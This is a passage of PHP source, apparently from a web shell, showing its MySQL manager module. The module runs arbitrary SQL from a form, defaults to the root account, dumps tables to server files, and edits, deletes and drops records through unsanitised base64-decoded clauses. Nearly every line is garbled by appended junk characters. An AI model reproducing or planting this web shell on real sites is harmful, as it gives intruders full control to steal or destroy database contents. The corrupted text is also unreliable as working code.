  671.         makehide('dbpass');9 [3 C. m0 |3 i% y9 B, }
  672.         makehide('dbname');
    2 ]+ p6 q( x7 B9 m& G% n" g
  673.         makehide('charset');9 \( y- ^" k5 [; z- p
  674.         makehide('doing');
    # u  ?6 _: u4 i7 I! ?% U
  675.         makehide('action','sqlfile');1 U. T$ W) `- y+ D7 `7 `& z
  676.         p('</form>');# p, j2 I8 I" r; U
  677. }3 {$ {' ]3 T2 U, V# U2 X8 j8 \  {
  678. 5 k# _1 q5 K3 M
  679. elseif ($action == 'sqladmin') {1 I, \& I1 S$ ~! q+ I
  680.         !$dbhost && $dbhost = 'localhost';/ z0 w3 j- ^0 Q& P* o! I: Q' Q
  681.         !$dbuser && $dbuser = 'root';
    ' ^4 G' q9 _* B. F6 H
  682.         !$dbport && $dbport = '3306';6 x. |5 c: ~  x, a1 S7 k
  683.         $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    : j$ a1 K) k- i* o2 q
  684.         if(isset($dbhost)){0 Y" [# Q8 y$ V" ~
  685.                 $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";+ m* w- ?4 e9 g5 t1 T/ U% s* Z
  686.         }
    0 r  j; U& Q7 S( t6 ?% r# j
  687.         if(isset($dbuser)) {- U4 P0 u: H2 J, J2 P
  688.                 $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";
    ( T$ O# u& [) z# P" m5 I% k* S
  689.         }
    / w' M; n4 G0 }# E# s! D
  690.         if(isset($dbpass)) {& ~: W1 p( m$ m6 Y/ R
  691.                 $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";# ?! `* e6 ~' U5 V1 p4 ^9 c3 m- ]* I
  692.         }) \+ n- t- E$ ?. w; D  l- b
  693.         if(isset($dbport)) {# \) N9 a6 c+ y. w! |% W% ?9 v
  694.                 $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! z6 I( z# d* H6 N
  695.         }' @, P$ y/ }" X; F
  696.         if(isset($dbname)) {
    2 |& R4 I3 x: _& F! g: G* w
  697.                 $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";( V  [7 ~& k) t) m! ~/ n/ R& ^
  698.         }. p- b+ b! ^1 [. X
  699.         if(isset($charset)) {' `( V& c$ J: ~$ a" e
  700.                 $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";- q, `/ n& ]; a5 `
  701.         }: _1 Z# Q. e/ Q) l. L3 D# i4 K0 ^

  702. / I. R# z$ r) E4 F- I* k  |
  703.         if ($doing == 'backupmysql' && $saveasfile) {% X) T' V3 {: n2 V7 d% H% `
  704.                 if (!$table) {
    $ e" k1 [7 s8 X4 a) p: g
  705.                         m('Please choose the table');4 S/ D) g; G: o- [; m; Q# ^
  706.                 } else {
    ! Q- H% g- @8 V& F1 t) L
  707.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    . U0 {/ Z( v- {) Q% K6 d/ ?6 y
  708.                         $table = array_flip($table);+ Q; \: J1 E- n0 b; ^
  709.                         $fp = @fopen($path,'w');) H2 n. ^0 a- x3 N: \4 m( o
  710.                         if ($fp) {  U5 o- H/ E( I9 J
  711.                                 $result = q('SHOW tables');
    ( n8 E$ y' n. [; Y2 k
  712.                                 if (!$result) p('<h2>'.mysql_error().'</h2>');6 ?7 G9 }! o* o3 b
  713.                                 $mysqldata = '';5 g: f  r, z3 [" X4 l, h
  714.                                 while ($currow = mysql_fetch_array($result)) {
    + e6 N: }: I; r" E2 Z6 `6 N1 _6 G( [
  715.                                         if (isset($table[$currow[0]])) {- K, \, {% X! g  F& j+ w. ]
  716.                                                 sqldumptable($currow[0], $fp);; r9 D& Q% e1 g& N8 v. n
  717.                                         }6 K& D+ I5 h; [4 N( V9 d
  718.                                 }
    4 v' D. h9 x7 i- ?
  719.                                 fclose($fp);
    ' y7 I" L5 A. k
  720.                                 $fileurl = str_replace(SA_ROOT,'',$path);
    3 I4 g4 Y$ S! k3 c/ v& b& F6 p
  721.                                 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');; Z) h3 \% O0 F8 ^  K' z
  722.                                 mysql_close();0 a  l4 |7 f1 L8 c$ z* h# W  ~9 F
  723.                         } else {
    / }0 [$ f- B0 C. j
  724.                                 m('Backup failed');# d: x' ?; H; e+ U4 M
  725.                         }, W" t" o, {# A2 c. i( d/ R  a8 B; v
  726.                 }6 g; y4 t- Q. t' Z& M* @
  727.         }* s2 ?5 d; v+ E6 `
  728.         if ($insert && $insertsql) {1 q& h$ S" R5 A1 P+ }
  729.                 $keystr = $valstr = $tmp = '';
    4 u, R2 b1 X. J8 W. _/ {8 q+ F
  730.                 foreach($insertsql as $key => $val) {
      ^/ `; |( q& E8 l
  731.                         if ($val) {2 i- F1 N! V( B+ K- H
  732.                                 $keystr .= $tmp.$key;
    : w! j: |* T& f
  733.                                 $valstr .= $tmp."'".addslashes($val)."'";
    * l/ u" v' R( ~2 z% i/ X8 i$ y
  734.                                 $tmp = ',';
    + r) k- v) y9 D2 \% m
  735.                         }
    ' e) o* U8 J: ]* M5 b6 C
  736.                 }
    ; V7 Q3 ^5 f: V1 t4 h, p3 L
  737.                 if ($keystr && $valstr) {7 j+ D+ t  j; r7 L& \& G
  738.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    - b( a- n' t7 P9 z& _) q
  739.                         m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
    9 I8 h( O" K8 q5 G4 v
  740.                 }3 x; _5 L% d# q
  741.         }
    - X2 V6 |$ m- O& ~
  742.         if ($update && $insertsql && $base64) {
    5 G. `! {! J2 z/ R3 m
  743.                 $valstr = $tmp = '';
    ' i) c5 k0 D/ ?, p! y+ w7 O7 K6 z
  744.                 foreach($insertsql as $key => $val) {
    6 I! b6 n/ N5 u5 d+ v! ^
  745.                         $valstr .= $tmp.$key."='".addslashes($val)."'";5 j% t8 {+ G* z4 S  F, Y  R
  746.                         $tmp = ',';
    " T/ c) f8 r- x) y
  747.                 }
    1 u2 G# x3 o- }" ?  a$ Q
  748.                 if ($valstr) {
    9 k- _+ Z1 \" N$ V  c
  749.                         $where = base64_decode($base64);' C1 b$ Y' E9 ~1 \8 o" Z. g4 ]3 E
  750.                         dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    $ J  n& B+ I- X" `" r7 Q2 n* n1 D6 U
  751.                         m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());: |( n" J9 b( r; c/ k6 ^4 O
  752.                 }5 j' j- V4 c3 I: M! c
  753.         }" f3 y" n& o5 O
  754.         if ($doing == 'del' && $base64) {
    ! N2 H5 P/ z) [! L% Y5 r
  755.                 $where = base64_decode($base64);8 I' o: D; y* U% D! |
  756.                 $delete_sql = "DELETE FROM $tablename WHERE $where";* i  f) l5 m) l8 w7 V: G' e
  757.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);* L3 B% I; s; D/ {$ w7 x, Q
  758.                 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());, l* o# r1 X) i$ X
  759.         }& Y6 }2 s! W8 ?  _8 N; `* K3 N
  760. 3 ~  W1 p$ U0 J, o9 k
  761.         if ($tablename && $doing == 'drop') {5 q, t. |. h2 t# R
  762.                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    / c' Z; e+ \7 A6 V9 ?
  763.                 if (q("DROP TABLE $tablename")) {0 e, {: Y1 ]+ a
  764.                         m('Drop table of success');
    6 }3 g6 _8 F# P1 Z+ B) S& I
  765.                         $tablename = '';
    0 I3 `' ^/ C: V" @# }5 C& \
  766.                 } else {' C8 b* N, Y0 T  G
  767.                         m(mysql_error());
    " m% L  R7 D3 u6 ?. w
  768.                 }
    ) L+ w6 G+ l2 @
  769.         }
    + J6 j7 S1 \; A( m
  770. . _9 x5 T) ^) Z: L$ i
  771.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    ; o2 i! Q" Y  g0 W
  772. ! }! c$ A2 ^/ R% N: m- n
  773.         formhead(array('title'=>'MYSQL Manager'));
    ) U7 N8 h4 F+ f" Z$ }
  774.         makehide('action','sqladmin');
    / k( X7 _0 ]: I. C1 ?
  775.         p('<p>');7 L9 f0 Q+ L3 ?% i4 j5 m+ M& O
  776.         p('DBHost:');
    ' |% o* s5 i! V3 c4 ~6 B
  777.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));% B) I- w3 b; f, g( `
  778.         p(':');6 x/ ~( N9 v5 a; Q
  779.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    8 M8 N+ ~4 M2 D
  780.         p('DBUser:');
    / Y" Y( x/ V' H& ~) l* }3 Q
  781.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));+ x3 E6 E% e5 z# ^+ J: k. z, }" s4 g# a
  782.         p('DBPass:');, u" f* }( q. K' z- [8 S
  783.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));1 v$ c5 ~* t# J/ ^, z/ W
  784.         p('DBCharset:');( R+ f, W2 C6 E0 f% U2 G+ H9 K
  785.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    ) p& @" E. {" x+ K9 K
  786.         makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
    5 B! a- t1 {: I* f
  787.         p('</p>');% W! U* P6 S" i
  788.         formfoot();
    2 t% w9 R1 c# `7 ?1 V1 D/ b) |
  789. ?>1 d( U* f4 e: n" ^7 y
  790. <script type="text/javascript">
    ' O2 }2 |% N% C) \0 }
  791. function editrecord(action, base64, tablename){
    6 l  Y" }1 w/ f
  792.         if (action == 'del') {               
    , P, S7 ?% j  @. y  U( D% i) D
  793.                 if (!confirm('Is or isn\'t deletion record?')) return;
    7 D# H1 r4 E3 h/ \, b- H% [
  794.         }: q5 w' Y" E$ N6 W4 b; C: `
  795.         $('recordlist').doing.value=action;
    : v' D" j/ ?* n+ k
  796.         $('recordlist').base64.value=base64;
      a! l% A# x7 Z& }6 m: ]
  797.         $('recordlist').tablename.value=tablename;
    3 `  T( a$ X. h! ?- m3 W
  798.         $('recordlist').submit();
    2 N2 G) R1 v# R2 J* o8 ~
  799. }& e8 ^, |8 T8 f- g0 {5 k: _
  800. function moddbname(dbname) {
    : L" W2 v' [) F+ F: e: q" c0 f
  801.         if(!dbname) return;
    ! D# H7 P$ d/ s5 r7 G; \% b; A
  802.         $('setdbname').dbname.value=dbname;0 f9 g% k1 z. f$ X' Q
  803.         $('setdbname').submit();
    / h+ _& Z3 M% p# H3 ?
  804. }
    / h9 C* W1 c" V* a7 z: A
  805. function settable(tablename,doing,page) {  l  v( g. N  n5 }6 s" j8 ]% H
  806.         if(!tablename) return;
    7 k+ b. \+ Z& R
  807.         if (doing) {9 f; b/ i3 w# s; [, x/ b$ E3 P
  808.                 $('settable').doing.value=doing;
    % C, j/ `7 g1 J% G
  809.         }
    ; n/ v. t7 g& s) h5 m2 V
  810.         if (page) {% {; B) S% c% T/ K. c
  811.                 $('settable').page.value=page;
    ( ~% H2 y' y0 O, r! _
  812.         }$ r, \- C( A8 q; m+ Z
  813.         $('settable').tablename.value=tablename;8 Q9 I7 b* a1 _
  814.         $('settable').submit();
    " j5 N& S. U) _* ^+ {9 \0 y
  815. }
    ( Z) Z% e2 p! g* j
  816. </script>
    3 _6 A8 V8 K7 x* c) b* R& J7 h
  817. <?php% }& N9 M4 g4 S; t
  818.         //操作记录# d# e/ o( S* d% M4 u# |2 r! m" g
  819.         formhead(array('name'=>'recordlist'));! d7 z% v' N; _& o2 D* I. q
  820.         makehide('doing');% i/ G, s! c3 ^
  821.         makehide('action','sqladmin');) [$ X8 u. c. x& f. m: Y
  822.         makehide('base64');. D9 K( m( m' L; h% N4 U
  823.         makehide('tablename');
    5 G3 K, B% b5 B7 Z, r/ v& K
  824.         p($dbform);
    $ L8 ]3 C  Z. r7 p7 t8 y+ f5 K6 M
  825.         formfoot();
    / |# n+ ~$ F% J" Z
  826.         //选定数据库
    2 C1 t6 [7 @% z* |) B8 B
  827.         formhead(array('name'=>'setdbname'));  q; @  S! u8 U( v7 H! q" L
  828.         makehide('action','sqladmin');
    & t+ T, E# o  m* v9 ^
  829.         p($dbform);
    , v' f) z+ t# ~8 u: l+ d- r
  830.         if (!$dbname) {& b6 n; R9 {' n
  831.                 makehide('dbname');
    2 f; Z2 |2 z' U/ D: O: h
  832.         }
    # Q: u' \! C0 y
  833.         formfoot();: F. Z- p7 Z2 j* B: Z" D  R" ~0 H
  834.         //选定表
    3 J* [1 ^( _& V1 m8 i
  835.         formhead(array('name'=>'settable'));8 J7 _& @9 ~" Q) c/ s
  836.         makehide('action','sqladmin');
    % V4 M/ z% @* v. {$ Q  n
  837.         p($dbform);& j# l: Y' i) ?% F1 C% V% h6 G/ |2 x
  838.         makehide('tablename');
    ! f8 R+ ~- u9 P# G
  839.         makehide('page',$page);# p0 U6 |& k4 d6 X
  840.         makehide('doing');
    ; {/ t3 w4 Y# S# f1 h5 s. V8 E
  841.         formfoot();
    ( A& K; V* w' I* ^1 U, ^
  842.         $cachetables = array();        2 ?* u# Z6 b1 K
  843.         $pagenum = 30;
    4 Q& ^! e! j8 j, `" h: ?7 _& e
  844.         $page = intval($page);4 |) W) p- G$ @  ^
  845.         if($page) {
    8 [2 t, Q; E+ f# G  G5 P6 `
  846.                 $start_limit = ($page - 1) * $pagenum;( V! x" B( p9 \# c& I# G/ l  \
  847.         } else {" p  X! S# H/ G2 b
  848.                 $start_limit = 0;* Z  R& g* `( N3 \3 F$ s8 K3 Z( a
  849.                 $page = 1;  u+ s" K' i" g  T
  850.         }! z1 ?& e4 q' ^. ^; X9 T. u8 x- p
  851.         if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
    * |6 ~( n# p, l" v. A% K5 b: i
  852.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
      n( F: j, R- o- m
  853.                 //获取数据库信息: }3 T( T& J; n- c" _5 W: |( A: U( G
  854.                 $mysqlver = mysql_get_server_info();; ]- h8 M, a0 x+ m# n( N7 Y
  855.                 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');! J% l# U; n8 h- d( t2 S
  856.                 $highver = $mysqlver > '4.1' ? 1 : 0;
    2 N0 ~2 ~  s# {* {3 [; ~
  857.                 //获取数据库* \: b; G4 g/ S5 O9 n
  858.                 $query = q("SHOW DATABASES");, g; c; }, Q% J  U
  859.                 $dbs = array();- Z9 X& X- x* b8 [* s' n( k9 Z
  860.                 $dbs[] = '-- Select a database --';& ]( Z7 a) P9 A5 z2 \$ h! ]
  861.                 while($db = mysql_fetch_array($query)) {4 y! y3 Y& @- m1 X6 q
  862.                         $dbs[$db['Database']] = $db['Database'];2 l" c3 I, Z9 b  x# T" R, ]
  863.                 }
    : b, ~( O8 X6 {( r( x. J1 [
  864.                 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));& o$ H& H8 j/ b" f/ x* {9 a0 i
  865.                 $tabledb = array();" A* Y: v+ T! Z+ B2 ]% C6 p+ x
  866.                 if ($dbname) {; x; e$ m6 Z, y; [; {. }+ I
  867.                         p('<p>');2 d- m1 Q* n0 i& J
  868.                         p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');- Q; R+ x: M6 f* [# o
  869.                         if ($tablename) {  z2 ~7 [( L% b* \. a) {% a
  870.                                 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
    % t- l  R: t' h5 r$ _
  871.                         }% [: A/ T8 Q, |5 u
  872.                         p('</p>');+ R9 r; D) s3 j6 G0 `/ Q4 |2 z. g
  873.                         mysql_select_db($dbname);
    ) T! y0 L/ B. s0 X
  874.                         $getnumsql = '';
    3 Y4 W( ?' T5 X
  875.                         $runquery = 0;
    8 s" A6 r$ m! W  a7 V7 a6 p5 G! f: U
  876.                         if ($sql_query) {: m' ^9 L( G5 W5 c7 n1 Y
  877.                                 $runquery = 1;
    + [& h- G4 f" i5 w
  878.                         }
    " t: c2 d/ s) R
  879.                         $allowedit = 0;
    4 ?& B) @* g7 b! q% `  f* K/ p4 y9 u( o
  880.                         if ($tablename && !$sql_query) {
    ) i$ @. V0 \6 W: a$ L
  881.                                 $sql_query = "SELECT * FROM $tablename";
    0 Q# I, q* a, [1 u6 X3 X6 e
  882.                                 $getnumsql = $sql_query;+ R3 U- W6 ^' d. D( l
  883.                                 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";9 O9 r8 r' G& ^3 u- {
  884.                                 $allowedit = 1;
    7 ]$ i/ s8 r  ^9 P; ~
  885.                         }0 z% g) ~; F6 G6 H" l
  886.                         p('<form action="'.$self.'" method="POST">');
    ' {, G- m. e% U$ M& ?8 U
  887.                         p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
    . K9 F: R# I+ {1 t3 g
  888.                         makehide('tablename', $tablename);
    1 C. N- r; a& b$ ]6 `
  889.                         makehide('action','sqladmin');9 B) \1 H, p  ], s8 E
  890.                         p($dbform);% G0 b) V  S" L7 w2 ]
  891.                         p('</form>');
    # d+ J7 G7 d! k2 x0 y* l' }: O
  892.                         if ($tablename || ($runquery && $sql_query)) {( ?, m. z" G: m6 {  [
  893.                                 if ($doing == 'structure') {
      ~9 O% k" }5 z: T& J* }
  894.                                         $result = q("SHOW COLUMNS FROM $tablename");2 v! |7 V, ]! U% W
  895.                                         $rowdb = array();  D) z- o" R$ A: V
  896.                                         while($row = mysql_fetch_array($result)) {/ z+ f+ u. J/ G- r  o, {/ r) Q" j) M+ a
  897.                                                 $rowdb[] = $row;
    2 G; _4 J# A. `+ e6 C9 |; a! h
  898.                                         }
    & t8 o' I* s3 I3 ]9 B# k
  899.                                         p('<table border="0" cellpadding="3" cellspacing="0">');: [9 W1 t8 Q1 a) }% }& _+ J6 u
  900.                                         p('<tr class="head">');
    4 S; D! j; n7 C9 {. U- w' Y7 y3 s% K
  901.                                         p('<td>Field</td>');9 g- f" X" ]* f  M2 V5 d% \  E
  902.                                         p('<td>Type</td>');, p. A5 R" |' p7 Q4 t3 L
  903.                                         p('<td>Null</td>');1 b, n; ~7 ]4 g0 o
  904.                                         p('<td>Key</td>');
    * q' j7 P' X! E" a
  905.                                         p('<td>Default</td>');
    : o0 j2 Z$ e1 l! l
  906.                                         p('<td>Extra</td>');
    / S- q9 O1 W" e2 R& I
  907.                                         p('</tr>');
    9 H9 j; J, m: b
  908.                                         foreach ($rowdb as $row) {! y9 H# M: @" u, A- m% b% ?
  909.                                                 $thisbg = bg();
    - T  C2 D9 n6 P$ z1 {3 A
  910.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');' p9 P5 y  y+ T
  911.                                                 p('<td>'.$row['Field'].'</td>');9 R5 o# J7 P5 p. K
  912.                                                 p('<td>'.$row['Type'].'</td>');
    5 {3 X3 _( |. o7 e  r4 K
  913.                                                 p('<td>'.$row['Null'].' </td>');7 E3 `5 K. s+ H  f$ z
  914.                                                 p('<td>'.$row['Key'].' </td>');
    / A0 e6 A$ u- \5 ~: a# {( v
  915.                                                 p('<td>'.$row['Default'].' </td>');
    4 h; U# i1 ]# U) B
  916.                                                 p('<td>'.$row['Extra'].' </td>');9 G) }" A7 ?% r  \2 C1 ]  l
  917.                                                 p('</tr>');7 f2 l9 `; x* P3 n/ t; Y7 H& R: @
  918.                                         }
    1 a/ @. k  B4 U; x
  919.                                         tbfoot();: \7 v) I- x& `, i" |
  920.                                 } elseif ($doing == 'insert' || $doing == 'edit') {
      K1 e1 g; o! L# \+ o9 T
  921.                                         $result = q('SHOW COLUMNS FROM '.$tablename);
    . s) @2 h: U: {3 O) P
  922.                                         while ($row = mysql_fetch_array($result)) {
    $ F0 b/ i1 r; t* _- f
  923.                                                 $rowdb[] = $row;8 N! j% Z$ K  x" T
  924.                                         }
    + s/ E# R  u- p5 t5 R) z
  925.                                         $rs = array();
    ! Y3 Q! @8 T6 O: F
  926.                                         if ($doing == 'insert') {& {) n" F% X+ k. I& P7 S  U
  927.                                                 p('<h2>Insert new line in '.$tablename.' table »</h2>');
    # I- r$ @; B$ r* w# B
  928.                                         } else {& I! L& C$ t5 f% U
  929.                                                 p('<h2>Update record in '.$tablename.' table »</h2>');
    $ m+ R8 Y- @9 a( h
  930.                                                 $where = base64_decode($base64);
    5 j# [$ k8 r! i! }6 Y: m; `! c
  931.                                                 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");# |) K; _# s. {8 q7 }) a
  932.                                                 $rs = mysql_fetch_array($result);1 b4 G% A0 {7 k0 H8 W' H
  933.                                         }3 Z" P/ {; C5 v
  934.                                         p('<form method="post" action="'.$self.'">');
    . g0 J2 q% M" m- h: a% P
  935.                                         p($dbform);
    3 q9 W4 R6 P4 U, l: \
  936.                                         makehide('action','sqladmin');
    6 r! ^+ _7 `! V# f+ j& c; K! @- e
  937.                                         makehide('tablename',$tablename);1 a& H1 c! E8 f) d" S
  938.                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    5 L6 [, V4 [* [( \7 d2 k" R8 p
  939.                                         foreach ($rowdb as $row) {* `8 S! X4 O# C
  940.                                                 if ($rs[$row['Field']]) {5 j1 N( X( C- _, T: W
  941.                                                         $value = htmlspecialchars($rs[$row['Field']]);
    / p2 b2 K8 Z2 V$ v
  942.                                                 } else {
    # Y6 u6 H0 H" t( Q
  943.                                                         $value = '';
    9 u. N) G& n/ v* |
  944.                                                 }
    , K* M9 G% |6 H  b3 j9 _
  945.                                                 $thisbg = bg();$ {, O1 ]+ n: Q7 H
  946.                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" g9 |$ ^/ |; z9 m1 p& `5 f6 P
  947.                                                 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');3 h- Z0 t# v( T" g; I0 A
  948.                                         }4 q* {& P5 z0 {$ f+ }
  949.                                         if ($doing == 'insert') {
    + s4 y% c5 N. L' @
  950.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
    : N5 I' D. Y! {( I$ a
  951.                                         } else {
    5 i& u! p/ ~( w, x5 c+ P9 K+ D
  952.                                                 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
    ' k% r+ l0 m' q7 m7 P  W
  953.                                                 makehide('base64', $base64);. r& r4 X( C+ X
  954.                                         }' D7 v+ \  S* e) A
  955.                                         p('</table></form>');- F5 J$ q! m6 K
  956.                                 } else {
    2 ^9 N" K4 q" b2 i
  957.                                         $querys = @explode(';',$sql_query);# t' w& N3 F% ^( I( ~' W- T
  958.                                         foreach($querys as $num=>$query) {4 Q3 ]$ q4 y2 n
  959.                                                 if ($query) {
    8 P" G( ]1 B8 d, Q& P* T5 H- f. p
  960.                                                         p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");# ~* Q8 \8 E5 c3 I# I+ v
  961.                                                         switch(qy($query))' |, g9 e2 `0 C# N: g
  962.                                                         {
    4 k( N+ w! z% J. k# d( E
  963.                                                                 case 0:
    $ [7 V- V5 ]+ K" h. C, |- e* Y
  964.                                                                         p('<h2>Error : '.mysql_error().'</h2>');
    : G% Z5 Y/ m/ C3 ~
  965.                                                                         break;       
    7 Q9 b- x4 G0 w) _/ q2 N5 _7 s) t
  966.                                                                 case 1:, d6 E/ N0 L2 o$ Y+ n. L0 K
  967.                                                                         if (strtolower(substr($query,0,13)) == 'select * from') {# i, x; `7 C( j9 [9 E
  968.                                                                                 $allowedit = 1;' C7 P  r" P% e$ f/ J" S
  969.                                                                         }
    ; r) F' J7 _' y, O- N' J5 n3 l
  970.                                                                         if ($getnumsql) {0 @; @5 @0 V/ j2 u7 ~2 f
  971.                                                                                 $tatol = mysql_num_rows(q($getnumsql));3 z" D: r% y& @1 i! H5 c3 ^1 L$ {' ]
  972.                                                                                 $multipage = multi($tatol, $pagenum, $page, $tablename);: y9 w2 ~9 d  ^
  973.                                                                         }0 X; v* i0 d! D! ~
  974.                                                                         if (!$tablename) {( P& S. u9 r7 D' Z6 E4 E# n, E
  975.                                                                                 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
    % {: p7 Q7 t- u7 U
  976.                                                                                 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);, j& A7 ~, n) S' v  V( U
  977.                                                                                 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
    9 P/ }" J4 a6 k& b
  978.                                                                                 $tablename = $matches[1][0];- L8 x0 o) i, @) {* S1 O6 N
  979.                                                                         }
    , c/ r, G8 {8 @/ g8 \
  980.                                                                         $result = q($query);0 ]1 d- ~6 M, ~) L
  981.                                                                         p($multipage);  c7 A8 s4 F4 f8 s/ F; R7 _* q& y
  982.                                                                         p('<table border="0" cellpadding="3" cellspacing="0">');
    7 E0 z6 Y2 }) y' X" s* p2 k# J
  983.                                                                         p('<tr class="head">');1 v2 E! G4 k0 x' o; A
  984.                                                                         if ($allowedit) p('<td>Action</td>');0 g8 m+ U1 s1 j+ l. q. b
  985.                                                                         $fieldnum = @mysql_num_fields($result);
    ' Y2 c% g  p  x) L& c0 _
  986.                                                                         for($i=0;$i<$fieldnum;$i++){
    # z, o& B! z  k% d/ o
  987.                                                                                 $name = @mysql_field_name($result, $i);
    6 j  a8 M! H; ^5 ^! I7 [
  988.                                                                                 $type = @mysql_field_type($result, $i);
    * k- u1 f& [* x( [1 O# C" Q
  989.                                                                                 $len = @mysql_field_len($result, $i);% h. Y) V& c+ b3 ^: m2 _8 K: E
  990.                                                                                 p("<td nowrap>$name<br><span>$type($len)</span></td>");
    ( H" N# H  C; @9 b+ q" c
  991.                                                                         }6 X& I( q: U1 Y$ _: E2 g3 B. c, l: W
  992.                                                                         p('</tr>');+ r9 h$ l9 V: J8 Y' T; _
  993.                                                                         while($mn = @mysql_fetch_assoc($result)){  j& t( s* S$ \, |
  994.                                                                                 $thisbg = bg();
    1 O4 s- X1 U0 `" P- p% a2 o
  995.                                                                                 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');- c+ P( n7 L$ e
  996.                                                                                 $where = $tmp = $b1 = '';1 s5 b9 v% x7 j/ j* i
  997.                                                                                 foreach($mn as $key=>$inside){# I* r! v% f3 e7 i7 Z0 A
  998.                                                                                         if ($inside) {2 F; E7 h+ P( b4 f8 X: U
  999.                                                                                                 $where .= $tmp.$key."='".addslashes($inside)."'";) x, \7 o/ Q2 ]  h% k
  1000.                                                                                                 $tmp = ' AND ';2 g& z$ J; }4 u9 [7 ?+ i
  1001.                                                                                         }; z5 n* v9 M$ C/ U* c8 T) P
  1002.                                                                                         $b1 .= '<td nowrap>'.html_clean($inside).' </td>';( e7 e. a' Y/ d4 a
  1003.                                                                                 }
    ! T6 W  `2 s5 @5 s8 p0 L
  1004.                                                                                 $where = base64_encode($where);
    + {4 L6 }: j1 G. A! p( W  V, e
  1005.                                                                                 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');, Y' O3 K* q8 c! W$ ~6 Z2 k( l
  1006.                                                                                 p($b1);
    1 ]; `" p1 u7 s3 U; o0 Z8 U
  1007.                                                                                 p('</tr>');/ w3 j+ j+ x! z1 y
  1008.                                                                                 unset($b1);
    - g3 H. V& f5 }3 Y3 [$ l
  1009.                                                                         }( L/ c  c! u' b
  1010.                                                                         tbfoot();
    0 d/ e0 [- ~$ S/ i
  1011.                                                                         p($multipage);
    , `  Z5 ]+ u* Q% K& h* s" t
  1012.                                                                         break;       
    * c2 D: d1 M, h" o
  1013.                                                                 case 2:
    ( C. S' `; a' k" @/ J
  1014.                                                                         $ar = mysql_affected_rows();
    ) r/ \3 P4 s$ {8 r$ G0 `6 s
  1015.                                                                         p('<h2>affected rows : <b>'.$ar.'</b></h2>');
    6 Z- x! S3 M0 B/ v0 R- K
  1016.                                                                         break;. P' f; d( Y$ A$ |& z
  1017.                                                         }
    % M  T+ B# m6 j5 p8 ~
  1018.                                                 }( ^+ a6 b8 o+ y9 P# @
  1019.                                         }
    ) b. ^: o; m+ J2 k5 z. Y( X
  1020.                                 }+ q1 f# U& b* O) ]* i# s2 P9 Y7 n
